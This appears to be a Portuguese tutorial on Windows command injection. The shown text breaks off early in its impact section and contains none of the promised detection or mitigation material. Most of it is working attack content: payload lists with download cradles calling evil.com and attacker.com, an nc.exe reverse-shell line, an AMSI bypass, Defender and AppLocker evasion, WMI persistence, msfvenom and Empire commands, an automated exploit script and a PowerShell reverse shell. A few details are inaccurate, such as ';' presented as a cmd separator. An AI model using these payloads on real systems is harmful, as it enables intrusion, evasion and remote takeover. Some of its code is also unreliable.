# Command Execution

## **📋 Índice**

1. [Fundamentos do Command Execution](#-fundamentos-do-command-execution)
2. [Mecanismos de Execução de Comandos](#-mecanismos-de-execução-de-comandos)
3. [Vetores de Injeção de Comandos](#-vetores-de-injeção-de-comandos)
4. [Técnicas de Bypass e Evasão](#-técnicas-de-bypass-e-evasão)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Correção](#-mitigações-e-correção)
9. [Programação Segura no Windows](#-programação-segura-no-windows)
10. [Pentesting com Command Execution](#-pentesting-com-command-execution)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Command Execution**

### **O que é Command Execution?**

**Command Execution** (ou Command Injection) é uma vulnerabilidade que permite a um atacante executar comandos arbitrários no sistema operacional subjacente através de uma aplicação vulnerável. No Windows, isso geralmente envolve a injeção de comandos via interfaces como cmd.exe, PowerShell, ou outras ferramentas de linha de comando.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant U as Usuário
    participant A as Aplicação
    participant C as CMD/PowerShell
    participant S as Sistema

    U->>A: Input malicioso: ; calc.exe
    A->>A: Concatena com comando: ping ; calc.exe
    A->>C: Executa: ping ; calc.exe
    C->>C: Interpreta comando separado
    C->>S: Executa calc.exe (não autorizado)
    S-->>C: Calc.exe executado
    C-->>A: Resultado combinado
    A-->>U: Saída normal + calc.exe rodando
```

### **Características do Command Execution no Windows**

| Característica             | Descrição                          | Exemplo                            |
| -------------------------- | ---------------------------------- | ---------------------------------- |
| **Shell Separators**       | Caracteres que separam comandos    | `;`, `&`, `&&`, `\|`, `\|\|`       |
| **Environment Variables**  | Variáveis de ambiente do Windows   | `%TEMP%`, `%USERNAME%`             |
| **PowerShell**             | Shell avançado com vasto arsenal   | `Invoke-Expression`, `iex`         |
| **CMD Builtins**           | Comandos internos do cmd           | `echo`, `set`, `dir`               |
| **WMI**                    | Windows Management Instrumentation | `wmic process call create`         |
| **Alternate Data Streams** | ADS para ocultação                 | `type file.txt > file.exe:payload` |

### **Tipos de Command Injection no Windows**

```python
#!/usr/bin/env python3
# command_injection_types.py - Tipos de injeção de comandos

class CommandInjectionTypes:
    """Classificação das vulnerabilidades de command injection no Windows"""
    
    @staticmethod
    def direct_injection():
        """Injeção direta de comandos"""
        print("💉 Injeção Direta de Comandos")
        print("   Exemplo: ping ; calc.exe")
        print("   Caracteres: ; & && | ||")
        print("   Risco: Execução imediata de comandos maliciosos")
    
    @staticmethod
    def blind_injection():
        """Injeção cega (blind injection)"""
        print("🙈 Injeção Cega (Blind)")
        print("   Exemplo: ping & ping -n 10 127.0.0.1 & whoami > C:\\temp\\out.txt")
        print("   Técnica: Usar time delays ou redirecionamento de saída")
        print("   Detecção: Time-based ou file-based")
    
    @staticmethod
    def powershell_injection():
        """Injeção via PowerShell"""
        print("⚡ Injeção via PowerShell")
        print("   Exemplo: | powershell -Command \"Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\"")
        print("   Vantagem: Acesso a .NET Framework")
        print("   Risco: Execução de scripts remotos")
    
    @staticmethod
    def wmi_injection():
        """Injeção via WMI"""
        print("🖥️ Injeção via WMI")
        print("   Exemplo: wmic process call create \"calc.exe\"")
        print("   Vantagem: Execução silenciosa")
        print("   Risco: Persistência e execução remota")
    
    @staticmethod
    def encoded_injection():
        """Injeção com encoding (PowerShell)"""
        print("🔐 Injeção com Encoding")
        print("   Exemplo: powershell -EncodedCommand <base64_string>")
        print("   Vantagem: Evita caracteres especiais e logs")
        print("   Risco: Ofuscação de payloads")

# Exemplo
CommandInjectionTypes.direct_injection()
CommandInjectionTypes.powershell_injection()
```

***

## ⚔️ **Mecanismos de Execução de Comandos**

### **Shell Separators e Operadores**

| Operador | Descrição                                   | Exemplo                          |
| -------- | ------------------------------------------- | -------------------------------- |
| `;`      | Executa comando sequencialmente             | `ping ; calc.exe`                |
| `&`      | Executa comando em segundo plano            | `ping & calc.exe`                |
| `&&`     | Executa apenas se anterior for bem-sucedido | `ping 127.0.0.1 && calc.exe`     |
| `\|`     | Pipe (saída de um vira entrada de outro)    | `dir \| find "exe"`              |
| `\|\|`   | Executa apenas se anterior falhar           | `ping nonexistent \|\| calc.exe` |
| `%0a`    | Newline (URL encoded)                       | `ping%0acalc.exe`                |
| `%0d`    | Carriage return                             | `ping%0dcalc.exe`                |
| `$()`    | Subshell (PowerShell)                       | `$(calc.exe)`                    |
| `\`      | Escape para continuar linha                 | `ping 127.0.0.1 & \ calc.exe`    |

### **Métodos de Execução de Comandos**

```python
#!/usr/bin/env python3
# command_execution_methods.py - Métodos de execução de comandos no Windows

import subprocess
import os
import ctypes

class CommandExecutionMethods:
    """Demonstração de métodos de execução de comandos no Windows"""
    
    @staticmethod
    def cmd_execution(command):
        """Execução via cmd.exe"""
        print(f"🔧 CMD Execution: {command}")
        
        # Método 1: os.system
        os.system(command)
        
        # Método 2: subprocess com shell=True
        subprocess.run(command, shell=True)
        
        # Método 3: subprocess com cmd
        subprocess.run(["cmd", "/c", command])
    
    @staticmethod
    def powershell_execution(command):
        """Execução via PowerShell"""
        print(f"⚡ PowerShell Execution: {command}")
        
        # Método 1: Invoke-Expression
        subprocess.run(["powershell", "-Command", f"Invoke-Expression '{command}'"])
        
        # Método 2: Encoded command
        import base64
        encoded = base64.b64encode(command.encode('utf-16le')).decode()
        subprocess.run(["powershell", "-EncodedCommand", encoded])
        
        # Método 3: PowerShell com bypass
        subprocess.run(["powershell", "-ExecutionPolicy", "Bypass", "-File", "script.ps1"])
    
    @staticmethod
    def wmi_execution(command):
        """Execução via WMI"""
        print(f"🖥️ WMI Execution: {command}")
        
        # wmic process call create
        subprocess.run(["wmic", "process", "call", "create", command])
        
        # wmic para execução remota
        subprocess.run(["wmic", "/node:target", "process", "call", "create", command])
    
    @staticmethod
    def schtasks_execution(command):
        """Execução via Scheduled Tasks"""
        print(f"📅 Scheduled Task Execution: {command}")
        
        # Criar tarefa agendada
        task_name = "MaliciousTask"
        subprocess.run(["schtasks", "/create", "/tn", task_name, 
                       "/tr", command, "/sc", "once", "/st", "00:00"])
        
        # Executar tarefa
        subprocess.run(["schtasks", "/run", "/tn", task_name])
        
        # Remover tarefa
        subprocess.run(["schtasks", "/delete", "/tn", task_name, "/f"])
    
    @staticmethod
    def com_execution(command):
        """Execução via COM objects (PowerShell)"""
        print(f"🔌 COM Execution: {command}")
        
        # PowerShell COM
        ps_script = f"""
        $com = New-Object -ComObject WScript.Shell
        $com.Run("{command}", 0, $false)
        """
        subprocess.run(["powershell", "-Command", ps_script])
    
    @staticmethod
    def winapi_execution(command):
        """Execução via Windows API (Python)"""
        print(f"🪟 WinAPI Execution: {command}")
        
        # WinExec
        ctypes.windll.kernel32.WinExec(command, 1)
        
        # CreateProcess
        startupinfo = subprocess.STARTUPINFO()
        subprocess.Popen(command, startupinfo=startupinfo)
    
    @staticmethod
    def vbs_execution(command):
        """Execução via VBScript"""
        print(f"📜 VBScript Execution: {command}")
        
        vbs_code = f"""
        CreateObject("WScript.Shell").Run "{command}", 0, False
        """
        with open('payload.vbs', 'w') as f:
            f.write(vbs_code)
        
        subprocess.run(["cscript", "payload.vbs"])
        os.remove('payload.vbs')

# Exemplo
# exec = CommandExecutionMethods()
# exec.cmd_execution("calc.exe")
```

### **PowerShell Command Execution Arsenal**

```powershell
# PowerShell Command Execution Techniques

# 1. Invoke-Expression (iex)
iex "Write-Host 'Malicious Command'"
Invoke-Expression "Start-Process calc.exe"

# 2. Invoke-Command
Invoke-Command -ScriptBlock { Start-Process calc.exe }

# 3. Start-Job
Start-Job -ScriptBlock { Start-Process calc.exe }

# 4. .NET WebClient
(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1') | iex

# 5. Base64 Encoding
$command = "Start-Process calc.exe"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# 6. Download Cradle
$wc=New-Object System.Net.WebClient;$wc.DownloadString('http://evil.com/ps.txt')|iex

# 7. IEX with DownloadString
iex (New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')

# 8. WMI Execution
wmic process call create "calc.exe"

# 9. Scheduled Task
schtasks /create /tn "Malicious" /tr "calc.exe" /sc once /st 00:00
schtasks /run /tn "Malicious"

# 10. COM Object
$com = New-Object -ComObject WScript.Shell
$com.Run("calc.exe", 0, $false)
```

***

## 🎯 **Vetores de Injeção de Comandos**

### **Matriz de Vetores de Injeção**

| Vetor               | Descrição               | Alvos Comuns          | Severidade |
| ------------------- | ----------------------- | --------------------- | ---------- |
| **Web Forms**       | Inputs de formulário    | PHP, ASP.NET, Node.js | 🔴 CRÍTICO |
| **File Upload**     | Nomes de arquivo        | Upload scripts        | 🟠 ALTO    |
| **HTTP Headers**    | User-Agent, Referer     | Logs, analytics       | 🟠 ALTO    |
| **API Parameters**  | Parâmetros de API       | REST, GraphQL         | 🔴 CRÍTICO |
| **Database Inputs** | Consultas SQL           | Stored procedures     | 🟠 ALTO    |
| **System Commands** | Funções system()        | Administração         | 🔴 CRÍTICO |
| **File Paths**      | Manipulação de arquivos | Download, upload      | 🟡 MÉDIO   |

### **Web Application Injection Examples**

```python
#!/usr/bin/env python3
# web_injection_examples.py - Exemplos de injeção em aplicações web

import urllib.parse

class WebInjectionExamples:
    """Exemplos de injeção de comandos em aplicações web"""
    
    @staticmethod
    def vulnerable_php():
        """Código PHP vulnerável"""
        php_code = """
        <?php
        // Vulnerável: concatenação direta
        $ip = $_GET['ip'];
        system("ping " . $ip);
        
        // Vulnerável: shell_exec
        $output = shell_exec("ping " . $ip);
        echo $output;
        
        // Vulnerável: passthru
        passthru("ping " . $ip);
        ?>
        """
        print("🐘 PHP Vulnerável:")
        print(php_code)
        
        # Payloads
        payloads = [
            "127.0.0.1; calc.exe",
            "127.0.0.1 & whoami",
            "127.0.0.1 | powershell -Command IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')",
            "127.0.0.1 && echo %USERNAME% > C:\\temp\\out.txt",
            "127.0.0.1 || certutil -urlcache -f http://evil.com/malware.exe C:\\temp\\mal.exe"
        ]
        
        print("\n💉 Payloads:")
        for p in payloads:
            print(f"   ?ip={urllib.parse.quote(p)}")
    
    @staticmethod
    def vulnerable_asp_net():
        """Código ASP.NET vulnerável"""
        asp_code = """
        // Vulnerável: Process.Start
        string ip = Request.QueryString["ip"];
        Process.Start("ping", ip);
        
        // Vulnerável: cmd.exe
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c ping " + ip;
        Process.Start(psi);
        """
        print("\n🪟 ASP.NET Vulnerável:")
        print(asp_code)
    
    @staticmethod
    def vulnerable_nodejs():
        """Código Node.js vulnerável"""
        node_code = """
        // Vulnerável: exec
        const { exec } = require('child_process');
        const ip = req.query.ip;
        exec(`ping ${ip}`, (error, stdout, stderr) => {
            res.send(stdout);
        });
        
        // Vulnerável: execFile
        const { execFile } = require('child_process');
        execFile('ping', [ip], (error, stdout) => {
            res.send(stdout);
        });
        """
        print("\n🟢 Node.js Vulnerável:")
        print(node_code)

# Exemplo
WebInjectionExamples.vulnerable_php()
```

### **Injeção em Diferentes Contextos**

```python
#!/usr/bin/env python3
# context_injection.py - Injeção em diferentes contextos

class ContextInjection:
    """Técnicas de injeção por contexto"""
    
    @staticmethod
    def windows_cmd_injection():
        """Injeção em cmd.exe"""
        print("💉 Windows CMD Injection")
        
        payloads = {
            "Basic Separators": [
                "; calc.exe",
                "& calc.exe",
                "| calc.exe",
                "&& calc.exe",
                "|| calc.exe"
            ],
            "Variable Expansion": [
                "ping %COMPUTERNAME% & calc.exe",
                "echo %USERNAME% > C:\\temp\\out.txt",
                "set a=calc.exe & %a%"
            ],
            "Command Substitution": [
                "ping `whoami`",
                "ping $(whoami)"
            ],
            "Newline Injection": [
                "ping 127.0.0.1%0acalc.exe",
                "ping 127.0.0.1%0d%0acalc.exe"
            ]
        }
        
        for category, cmds in payloads.items():
            print(f"\n   {category}:")
            for cmd in cmds:
                print(f"      {cmd}")
    
    @staticmethod
    def powershell_injection():
        """Injeção em PowerShell"""
        print("\n💉 PowerShell Injection")
        
        payloads = {
            "Basic Execution": [
                "ping ; Write-Host 'Malicious'",
                "ping & Start-Process calc.exe",
                "ping | Invoke-Expression 'calc.exe'"
            ],
            "Encoded Command": [
                "powershell -EncodedCommand Y2FsYy5leGU=",
                "powershell -e SQBFAFgAIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA"
            ],
            "Download Cradle": [
                "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')",
                "$wc=New-Object System.Net.WebClient;$wc.DownloadString('http://evil.com/ps.txt')|iex"
            ],
            "Bypass Execution Policy": [
                "powershell -ExecutionPolicy Bypass -File payload.ps1",
                "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')\""
            ]
        }
        
        for category, cmds in payloads.items():
            print(f"\n   {category}:")
            for cmd in cmds:
                print(f"      {cmd}")
    
    @staticmethod
    def file_upload_injection():
        """Injeção via upload de arquivo"""
        print("\n💉 File Upload Injection")
        
        payloads = [
            "file.php.jpg; calc.exe",
            "shell.asp.jpg & whoami",
            "image.png | certutil -urlcache -f http://evil.com/mal.exe mal.exe",
            "document.pdf%0acalc.exe",
            "file.txt`calc.exe`.jpg"
        ]
        
        for payload in payloads:
            print(f"   {payload}")
    
    @staticmethod
    def header_injection():
        """Injeção via headers HTTP"""
        print("\n💉 HTTP Header Injection")
        
        headers = {
            "User-Agent": "Mozilla/5.0; calc.exe",
            "Referer": "http://evil.com; whoami",
            "X-Forwarded-For": "127.0.0.1 | powershell IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')",
            "Cookie": "session=; calc.exe",
            "Host": "example.com; calc.exe"
        }
        
        for header, value in headers.items():
            print(f"   {header}: {value}")

# Exemplo
ContextInjection.windows_cmd_injection()
ContextInjection.powershell_injection()
```

***

## 🔧 **Técnicas de Bypass e Evasão**

### **Bypass de Filtros de Caracteres**

```python
#!/usr/bin/env python3
# bypass_techniques.py - Técnicas de bypass de filtros

class BypassTechniques:
    """Técnicas para bypass de filtros e WAFs"""
    
    @staticmethod
    def character_encoding():
        """Bypass via encoding de caracteres"""
        print("🔢 Character Encoding Bypass")
        
        encodings = {
            "URL Encoding": [
                "ping%20%3B%20calc.exe",
                "ping%0Acalc.exe",
                "ping%0D%0Acalc.exe"
            ],
            "Double URL Encoding": [
                "ping%2520%253B%2520calc.exe",
                "ping%250Acalc.exe"
            ],
            "Unicode Encoding": [
                "ping%uff1b calc.exe",
                "ping%u0020%u003b%u0020calc.exe"
            ],
            "Base64": [
                "powershell -EncodedCommand Y2FsYy5leGU=",
                "echo Y2FsYy5leGU= | powershell -Command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($input))\" | iex"
            ],
            "Hex Encoding": [
                "powershell -Command \"$a='63616c632e657865';$b=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromHexString($a));iex $b\""
            ]
        }
        
        for category, examples in encodings.items():
            print(f"\n   {category}:")
            for ex in examples[:2]:
                print(f"      {ex}")
    
    @staticmethod
    def case_variation():
        """Bypass via variação de maiúsculas/minúsculas"""
        print("\n🔠 Case Variation Bypass")
        
        variations = [
            "pInG ; cAlC.eXe",
            "PING ; CALC.EXE",
            "PiNg 127.0.0.1 & CaLc.ExE",
            "powershell -eXeCuTiOnPoLiCy ByPaSs -cOmMaNd \"iEx(NeW-ObJeCt NeT.WeBcLiEnT).DoWnLoAdStRiNg('http://evil.com/ps.txt')\""
        ]
        
        for var in variations:
            print(f"   {var}")
    
    @staticmethod
    def alternate_syntax():
        """Bypass via sintaxe alternativa"""
        print("\n🔄 Alternate Syntax Bypass")
        
        syntax = [
            # Using environment variables
            "ping %COMSPEC% /c calc.exe",
            "%COMSPEC% /c calc.exe",
            
            # Using short names (8.3 format)
            "c:\\progra~1\\intern~1\\iexplore.exe",
            "c:\\windows\\system32\\calc.exe -> c:\\windows\\system32\\cal~1.exe",
            
            # Using environment variables for path
            "%SYSTEMROOT%\\system32\\calc.exe",
            "%WINDIR%\\system32\\cmd.exe /c calc.exe",
            
            # Using PowerShell aliases
            "powershell -c \"iex (New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')\"",
            "powershell -c \"sal a Invoke-Expression; a (New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')\"",
            
            # Using VBScript
            "mshta javascript:new ActiveXObject('WScript.Shell').Run('calc.exe')",
            "mshta vbscript:CreateObject('WScript.Shell').Run('calc.exe')(window.close)"
        ]
        
        for syn in syntax:
            print(f"   {syn}")
    
    @staticmethod
    def command_obfuscation():
        """Ofuscação de comandos"""
        print("\n🎭 Command Obfuscation")
        
        obfuscations = [
            # Using environment variables
            "c%SystemRoot:~-9,6%c.e%e",
            "c%CommonProgramFiles:~10,2%c.e%e",
            
            # Using substring
            "c" + "a" + "l" + "c" + "." + "e" + "x" + "e",
            "c" + [chr(97), chr(108), chr(99), chr(46), chr(101), chr(120), chr(101)] | foreach {$_}",
            
            # Using variable concatenation
            "set a=calc.exe&%a%",
            "$a='calc.exe';Invoke-Expression $a",
            
            # Using backticks
            "p`i`n`g 127.0.0.1 & c`a`l`c`.e`x`e",
            
            # Using caret escape (CMD)
            "p^in^g 127.0.0.1 & c^a^l^c^.e^x^e",
            
            # Using random characters
            "ping${PATH}127.0.0.1&calc.exe",
            "ping%PATH: =%127.0.0.1&calc.exe"
        ]
        
        for obs in obfuscations:
            print(f"   {obs}")
    
    @staticmethod
    def whitelist_bypass():
        """Bypass de whitelist de comandos"""
        print("\n📋 Whitelist Bypass")
        
        bypasses = [
            # Using allowed command to execute others
            "ping 127.0.0.1 & whoami",
            "ping 127.0.0.1 && calc.exe",
            "ping 127.0.0.1 | powershell -Command \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')\"",
            
            # Using allowed command parameters
            "powershell -c \"Write-Host 'Malicious'\"",
            "certutil -urlcache -f http://evil.com/mal.exe mal.exe & mal.exe",
            
            # Using allowed programs to run arbitrary code
            "mshta javascript:new ActiveXObject('WScript.Shell').Run('calc.exe')",
            "wmic process call create calc.exe",
            "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert('calc.exe')"
        ]
        
        for bypass in bypasses:
            print(f"   {bypass}")
    
    @staticmethod
    def waf_bypass():
        """Técnicas de bypass de WAF"""
        print("\n🛡️ WAF Bypass Techniques")
        
        techniques = [
            # Using line wrapping
            "ping 127.0.0.1 \n & \n calc.exe",
            "ping 127.0.0.1 \r\n & \r\n calc.exe",
            
            # Using comments
            "ping 127.0.0.1/*&*/calc.exe",
            "ping 127.0.0.1/* & calc.exe */",
            
            # Using null bytes
            "ping 127.0.0.1%00&calc.exe",
            "ping 127.0.0.1%00%00&calc.exe",
            
            # Using tab and spaces
            "ping	127.0.0.1	&	calc.exe",
            "ping  127.0.0.1  &  calc.exe",
            
            # Using carriage return
            "ping 127.0.0.1\r&calc.exe",
            "ping 127.0.0.1%0d&calc.exe",
            
            # Using HTML entities (if decoded)
            "ping 127.0.0.1&#59; calc.exe",
            "ping 127.0.0.1&#x3B; calc.exe"
        ]
        
        for tech in techniques:
            print(f"   {tech}")

# Exemplo
BypassTechniques.character_encoding()
BypassTechniques.command_obfuscation()
```

### **Técnicas Avançadas de Evasão**

```powershell
# Advanced Evasion Techniques

# 1. AMSI Bypass
$w = 'System.Management.Automation.Amsi' + 'Utils'
$t = [Ref].Assembly.GetType($w)
$f = $t.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

# 2. PowerShell Constrained Language Mode Bypass
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"

# 3. AppLocker Bypass
# Using alternate executables
C:\Windows\System32\mshta.exe javascript:new ActiveXObject('WScript.Shell').Run('calc.exe')
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U /I /R payload.exe

# 4. Windows Defender Bypass
# Using lolbas (Living Off the Land Binaries)
regsvr32.exe /s /n /u /i:http://evil.com/payload.sct scrobj.dll
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")
msiexec.exe /q /i http://evil.com/payload.msi

# 5. Execution Policy Bypass
powershell -ExecutionPolicy Bypass -NoProfile -File payload.ps1
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.txt')"

# 6. Using alternate data streams
type payload.exe > "C:\Windows\Tasks\calc.exe:hidden"
wmic process call create "C:\Windows\Tasks\calc.exe:hidden"

# 7. DCOM Execution
$com = [Type]::GetTypeFromProgID("MMC20.Application")
$obj = [Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("calc.exe", $null, $null, "7")

# 8. WMI Event Subscription for Persistence
$filterArgs = @{Name='MaliciousFilter'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'calc.exe'"}
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs
$consumerArgs = @{Name='MaliciousConsumer'; CommandLineTemplate='powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString(""http://evil.com/ps.txt"")"'}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs
$binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer}
```

***

## 🛠️ **Ferramentas de Exploração**

### **Payload Generation Tools**

```bash
# MSFVenom - Payload Generation
msfvenom -p windows/x64/exec CMD=calc.exe -f exe -o payload.exe
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f ps1 -o payload.ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o meterpreter.exe

# PowerShell Empire (Starkiller)
./empire
(Empire) usestager windows/launcher_vbs
(Empire) set Listener http
(Empire) execute

# Nishang - PowerShell Framwork
Import-Module .\nishang.psm1
Get-Command -Module nishang
Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444

# PowerSploit
Import-Module .\PowerSploit.psd1
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.0.0.1 -Lport 4444

# CrackMapExec
cme smb 192.168.1.0/24 -u administrator -p password -x 'whoami'
cme smb 192.168.1.1 -u user -p pass -X 'Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444'
```

### **Script de Exploração Automatizada**

```python
#!/usr/bin/env python3
# cmd_injection_exploit.py - Exploração automatizada de command injection

import requests
import urllib.parse
import time
import sys

class CMDInjectionExploit:
    """Ferramenta automatizada para exploração de command injection"""
    
    def __init__(self, target_url, vulnerable_param):
        self.target_url = target_url
        self.vulnerable_param = vulnerable_param
        self.payloads = self._load_payloads()
        self.results = []
    
    def _load_payloads(self):
        """Carregar payloads para teste"""
        return {
            "basic": [
                "; calc.exe",
                "& calc.exe",
                "| calc.exe",
                "&& calc.exe",
                "|| calc.exe"
            ],
            "time_based": [
                "; ping -n 10 127.0.0.1",
                "& timeout 5",
                "| sleep 5",
                "&& ping -n 10 127.0.0.1",
                "|| timeout 5"
            ],
            "output_based": [
                "; whoami > C:\\temp\\out.txt",
                "& ipconfig > C:\\temp\\out.txt",
                "| dir C:\\ > C:\\temp\\out.txt",
                "&& systeminfo > C:\\temp\\out.txt"
            ],
            "reverse_shell": [
                "; powershell -Command \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.txt')\"",
                "& certutil -urlcache -f http://attacker.com/nc.exe C:\\temp\\nc.exe & C:\\temp\\nc.exe attacker 4444 -e cmd.exe",
                "| mshta javascript:new ActiveXObject('WScript.Shell').Run('calc.exe')",
                "&& wmic process call create \"powershell -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.txt')\""
            ],
            "blind": [
                "; ping -n 10 127.0.0.1",
                "& ping -n 10 127.0.0.1",
                "| ping -n 10 127.0.0.1",
                "&& ping -n 10 127.0.0.1"
            ]
        }
    
    def test_payload(self, payload):
        """Testar um payload específico"""
        try:
            params = {self.vulnerable_param: payload}
            start_time = time.time()
            response = requests.get(self.target_url, params=params, timeout=5)
            elapsed = time.time() - start_time
            
            return {
                'payload': payload,
                'status_code': response.status_code,
                'response_time': elapsed,
                'response_length': len(response.text),
                'success': elapsed > 4  # Time-based detection
            }
        except Exception as e:
            return {
                'payload': payload,
                'error': str(e),
                'success': False
            }
    
    def execute(self):
        """Executar exploração completa"""
        print(f"🚨 Command Injection Exploitation")
        print(f"   Target: {self.target_url}")
        print(f"   Parameter: {self.vulnerable_param}")
        print("=" * 60)
        
        for category, payloads in self.payloads.items():
            print(f"\n[*] Testing {category} payloads...")
            
            for payload in payloads:
                print(f"   Testing: {payload[:50]}...")
                result = self.test_payload(payload)
                
                if result.get('success'):
                    print(f"   ✅ POTENTIAL VULNERABILITY FOUND!")
                    print(f"      Payload: {payload}")
                    print(f"      Response Time: {result.get('response_time', 0):.2f}s")
                    self.results.append(result)
                else:
                    print(f"   ❌ Not vulnerable")
        
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE EXPLORAÇÃO")
        print("=" * 60)
        
        if not self.results:
            print("❌ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"✅ {len(self.results)} potencial(is) vulnerabilidade(s):\n")
        
        for result in self.results[:5]:
            print(f"💉 Payload: {result['payload']}")
            print(f"   Status: {result.get('status_code', 'N/A')}")
            print(f"   Time: {result.get('response_time', 0):.2f}s")
            print()

# Uso
# exploit = CMDInjectionExploit("http://target.com/vuln.php", "ip")
# exploit.execute()
```

### **PowerShell Exploitation Framework**

```powershell
# PowerShell Command Injection Framework
# exploit.ps1

param(
    [Parameter(Mandatory=$true)]
    [string]$Target,
    
    [Parameter(Mandatory=$true)]
    [string]$Command,
    
    [Parameter(Mandatory=$false)]
    [string]$Output = "C:\temp\output.txt"
)

function Test-CommandInjection {
    param($Target, $Command)
    
    $test_payloads = @(
        "; $Command",
        "& $Command",
        "| $Command",
        "&& $Command",
        "|| $Command",
        "`$($Command)",
        "`n$Command",
        "`r`n$Command"
    )
    
    foreach ($payload in $test_payloads) {
        Write-Host "[*] Testing: $payload" -ForegroundColor Yellow
        $url = "$Target?ip=$([System.Web.HttpUtility]::UrlEncode($payload))"
        
        try {
            $response = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 5
            if ($response.Content -match $Command) {
                Write-Host "[+] Vulnerable! Command executed: $Command" -ForegroundColor Green
                return $true
            }
        } catch {
            Write-Host "[-] Error: $_" -ForegroundColor Red
        }
    }
    
    return $false
}

function Execute-Command {
    param($Target, $Command)
    
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command))
    $payload = "& powershell -EncodedCommand $encoded"
    
    $url = "$Target?ip=$([System.Web.HttpUtility]::UrlEncode($payload))"
    
    try {
        Invoke-WebRequest -Uri $url -UseBasicParsing
        Write-Host "[+] Command executed: $Command" -ForegroundColor Green
    } catch {
        Write-Host "[-] Failed to execute command: $_" -ForegroundColor Red
    }
}

function Get-ReverseShell {
    param($Target, $LHOST, $LPORT)
    
    $ps_code = @"
    `$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);
    `$stream = `$client.GetStream();
    [byte[]]`$bytes = 0..65535|%{0};
    while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){
        `$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);
        `$sendback = (iex `$data 2>&1 | Out-String );
        `$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';
        `$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);
        `$stream.Write(`$sendbyte,0,`$sendbyte.Length);
        `$stream.Flush()
    };
    `$client.Close()
"@
    
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($ps_code))
    $payload = "& powershell -EncodedCommand $encoded"
    
    $url = "$Target?ip=$([System.Web.HttpUtility]::UrlEncode($payload))"
    
    Write-Host "[*] Sending reverse shell payload to $LHOST:$LPORT" -ForegroundColor Yellow
    Invoke-WebRequest -Uri $url -UseBasicParsing
}

# Main execution
if ($Command) {
    Execute-Command -Target $Target -Command $Command
} else {
    Test-CommandInjection -Target $Target -Command "calc.exe"
}

# Usage examples:
# .\exploit.ps1 -Target "http://target.com/vuln.php" -Command "whoami"
# .\exploit.ps1 -Target "http://target.com/vuln.php" -Command "ipconfig"
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto de Command Execution no Windows:

  🔴 CRÍTICO:
    - Comprometimento total do servidor
    - Roubo de credenciais e dados sensíveis
    - Instalação de backdoors e malware
    - Movimentação lateral na rede
    - Controle completo do domínio (Active Directory)

  🟠 ALTO:
    - Exfiltração de dados corporativos
    - Criptografia de arquivos (ransomware)
    - Desabilitação de serviços críticos
    - Modificação de configurações do sistema

  🟡 MÉDIO:
